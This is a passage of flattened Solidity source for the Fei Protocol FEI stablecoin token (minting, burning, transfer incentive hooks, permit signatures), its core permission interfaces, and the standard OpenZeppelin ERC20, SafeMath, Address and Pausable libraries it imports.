chainId := chainid() } DOMAIN_SEPARATOR = keccak256( abi.encode( keccak256( "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)" ), keccak256(bytes(name())), keccak256(bytes("1")), chainId, address(this) ) ); } /// @param account the account to incentivize /// @param incentive the associated incentive contract function setIncentiveContract(address account, address incentive) external override onlyGovernor { incentiveContract[account] = incentive; emit IncentiveContractUpdate(account, incentive); } /// @notice mint FEI tokens /// @param account the account to mint to /// @param amount the amount to mint function mint(address account, uint256 amount) external override onlyMinter whenNotPaused { _mint(account, amount); emit Minting(account, msg.sender, amount); } /// @notice burn FEI tokens from caller /// @param amount the amount to burn function burn(uint256 amount) public override(IFei, ERC20Burnable) { super.burn(amount); emit Burning(msg.sender, msg.sender, amount); } /// @notice burn FEI tokens from specified account /// @param account the account to burn from /// @param amount the amount to burn function burnFrom(address account, uint256 amount) public override(IFei, ERC20Burnable) onlyBurner whenNotPaused { _burn(account, amount); emit Burning(account, msg.sender, amount); } function _transfer( address sender, address recipient, uint256 amount ) internal override { super._transfer(sender, recipient, amount); _checkAndApplyIncentives(sender, recipient, amount); } function _checkAndApplyIncentives( address sender, address recipient, uint256 amount ) internal { // incentive on sender address senderIncentive = incentiveContract[sender]; if (senderIncentive != address(0)) { IIncentive(senderIncentive).incentivize( sender, recipient, msg.sender, amount ); } // incentive on recipient address recipientIncentive = incentiveContract[recipient]; if (recipientIncentive != address(0)) { IIncentive(recipientIncentive).incentivize( sender, recipient, msg.sender, amount ); } // incentive on operator address operatorIncentive = incentiveContract[msg.sender]; if ( msg.sender != sender && msg.sender != recipient && operatorIncentive != address(0) ) { IIncentive(operatorIncentive).incentivize( sender, recipient, msg.sender, amount ); } // all incentive, if active applies to every transfer address allIncentive = incentiveContract[address(0)]; if (allIncentive != address(0)) { IIncentive(allIncentive).incentivize( sender, recipient, msg.sender, amount ); } } /// @notice permit spending of FEI /// @param owner the FEI holder /// @param spender the approved operator /// @param value the amount approved /// @param deadline the deadline after which the approval is no longer valid function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external override { // solhint-disable-next-line not-rely-on-time require(deadline >= block.timestamp, "Fei: EXPIRED"); bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR, keccak256( abi.encode( PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline ) ) ) ); address recoveredAddress = ecrecover(digest, v, r, s); require( recoveredAddress != address(0) && recoveredAddress == owner, "Fei: INVALID_SIGNATURE" ); _approve(owner, spender, value); } } pragma solidity ^0.6.2; /// @title incentive contract interface /// @author Fei Protocol /// @notice Called by FEI token contract when transferring with an incentivized address /// @dev should be appointed as a Minter or Burner as needed interface IIncentive { // ----------- Fei only state changing api ----------- /// @notice apply incentives on transfer /// @param sender the sender address of the FEI /// @param receiver the receiver address of the FEI /// @param operator the operator (msg.sender) of the transfer /// @param amount the amount of FEI transferred function incentivize( address sender, address receiver, address operator, uint256 amount ) external; } pragma solidity ^0.6.2; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /// @title FEI stablecoin interface /// @author Fei Protocol interface IFei is IERC20 { // ----------- Events ----------- event Minting( address indexed _to, address indexed _minter, uint256 _amount ); event Burning( address indexed _to, address indexed _burner, uint256 _amount ); event IncentiveContractUpdate( address indexed _incentivized, address indexed _incentiveContract ); // ----------- State changing api ----------- function burn(uint256 amount) external; function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; // ----------- Burner only state changing api ----------- function burnFrom(address account, uint256 amount) external; // ----------- Minter only state changing api ----------- function mint(address account, uint256 amount) external; // ----------- Governor only state changing api ----------- function setIncentiveContract(address account, address incentive) external; // ----------- Getters ----------- function incentiveContract(address account) external view returns (address); } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "./ICoreRef.sol"; import "@openzeppelin/contracts/utils/Pausable.sol"; import "@openzeppelin/contracts/utils/Address.sol"; /// @title A Reference to Core /// @author Fei Protocol /// @notice defines some modifiers and utilities around interacting with Core abstract contract CoreRef is ICoreRef, Pausable { ICore private _core; /// @notice CoreRef constructor /// @param core Fei Core to reference constructor(address core) public { _core = ICore(core); } modifier ifMinterSelf() { if (_core.isMinter(address(this))) { _; } } modifier ifBurnerSelf() { if (_core.isBurner(address(this))) { _; } } modifier onlyMinter() { require(_core.isMinter(msg.sender), "CoreRef: Caller is not a minter"); _; } modifier onlyBurner() { require(_core.isBurner(msg.sender), "CoreRef: Caller is not a burner"); _; } modifier onlyPCVController() { require( _core.isPCVController(msg.sender), "CoreRef: Caller is not a PCV controller" ); _; } modifier onlyGovernor() { require( _core.isGovernor(msg.sender), "CoreRef: Caller is not a governor" ); _; } modifier onlyGuardianOrGovernor() { require( _core.isGovernor(msg.sender) || _core.isGuardian(msg.sender), "CoreRef: Caller is not a guardian or governor" ); _; } modifier onlyFei() { require(msg.sender == address(fei()), "CoreRef: Caller is not FEI"); _; } modifier onlyGenesisGroup() { require( msg.sender == _core.genesisGroup(), "CoreRef: Caller is not GenesisGroup" ); _; } modifier postGenesis() { require( _core.hasGenesisGroupCompleted(), "CoreRef: Still in Genesis Period" ); _; } modifier nonContract() { require(!Address.isContract(msg.sender), "CoreRef: Caller is a contract"); _; } /// @notice set new Core reference address /// @param core the new core address function setCore(address core) external override onlyGovernor { _core = ICore(core); emit CoreUpdate(core); } /// @notice set pausable methods to paused function pause() public override onlyGuardianOrGovernor { _pause(); } /// @notice set pausable methods to unpaused function unpause() public override onlyGuardianOrGovernor { _unpause(); } /// @notice address of the Core contract referenced /// @return ICore implementation address function core() public view override returns (ICore) { return _core; } /// @notice address of the Fei contract referenced by Core /// @return IFei implementation address function fei() public view override returns (IFei) { return _core.fei(); } /// @notice address of the Tribe contract referenced by Core /// @return IERC20 implementation address function tribe() public view override returns (IERC20) { return _core.tribe(); } /// @notice fei balance of contract /// @return fei amount held function feiBalance() public view override returns (uint256) { return fei().balanceOf(address(this)); } /// @notice tribe balance of contract /// @return tribe amount held function tribeBalance() public view override returns (uint256) { return tribe().balanceOf(address(this)); } function _burnFeiHeld() internal { fei().burn(feiBalance()); } function _mintFei(uint256 amount) internal { fei().mint(address(this), amount); } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../core/ICore.sol"; /// @title CoreRef interface /// @author Fei Protocol interface ICoreRef { // ----------- Events ----------- event CoreUpdate(address indexed _core); // ----------- Governor only state changing api ----------- function setCore(address core) external; function pause() external; function unpause() external; // ----------- Getters ----------- function core() external view returns (ICore); function fei() external view returns (IFei); function tribe() external view returns (IERC20); function feiBalance() external view returns (uint256); function tribeBalance() external view returns (uint256); } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "./IPermissions.sol"; import "../token/IFei.sol"; /// @title Core Interface /// @author Fei Protocol interface ICore is IPermissions { // ----------- Events ----------- event FeiUpdate(address indexed _fei); event TribeUpdate(address indexed _tribe); event GenesisGroupUpdate(address indexed _genesisGroup); event TribeAllocation(address indexed _to, uint256 _amount); event GenesisPeriodComplete(uint256 _timestamp); // ----------- Governor only state changing api ----------- function init() external; // ----------- Governor only state changing api ----------- function setFei(address token) external; function setTribe(address token) external; function setGenesisGroup(address _genesisGroup) external; function allocateTribe(address to, uint256 amount) external; // ----------- Genesis Group only state changing api ----------- function completeGenesisGroup() external; // ----------- Getters ----------- function fei() external view returns (IFei); function tribe() external view returns (IERC20); function genesisGroup() external view returns (address); function hasGenesisGroupCompleted() external view returns (bool); } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; /// @title Permissions interface /// @author Fei Protocol interface IPermissions { // ----------- Governor only state changing api ----------- function createRole(bytes32 role, bytes32 adminRole) external; function grantMinter(address minter) external; function grantBurner(address burner) external; function grantPCVController(address pcvController) external; function grantGovernor(address governor) external; function grantGuardian(address guardian) external; function revokeMinter(address minter) external; function revokeBurner(address burner) external; function revokePCVController(address pcvController) external; function revokeGovernor(address governor) external; function revokeGuardian(address guardian) external; // ----------- Revoker only state changing api ----------- function revokeOverride(bytes32 role, address account) external; // ----------- Getters ----------- function isBurner(address _address) external view returns (bool); function isMinter(address _address) external view returns (bool); function isGovernor(address _address) external view returns (bool); function isGuardian(address _address) external view returns (bool); function isPCVController(address _address) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/Context.sol"; import "./ERC20.sol"; /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20Burnable is Context, ERC20 { using SafeMath for uint256; /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), decreasedAllowance); _burn(account, amount); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor () internal { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } }
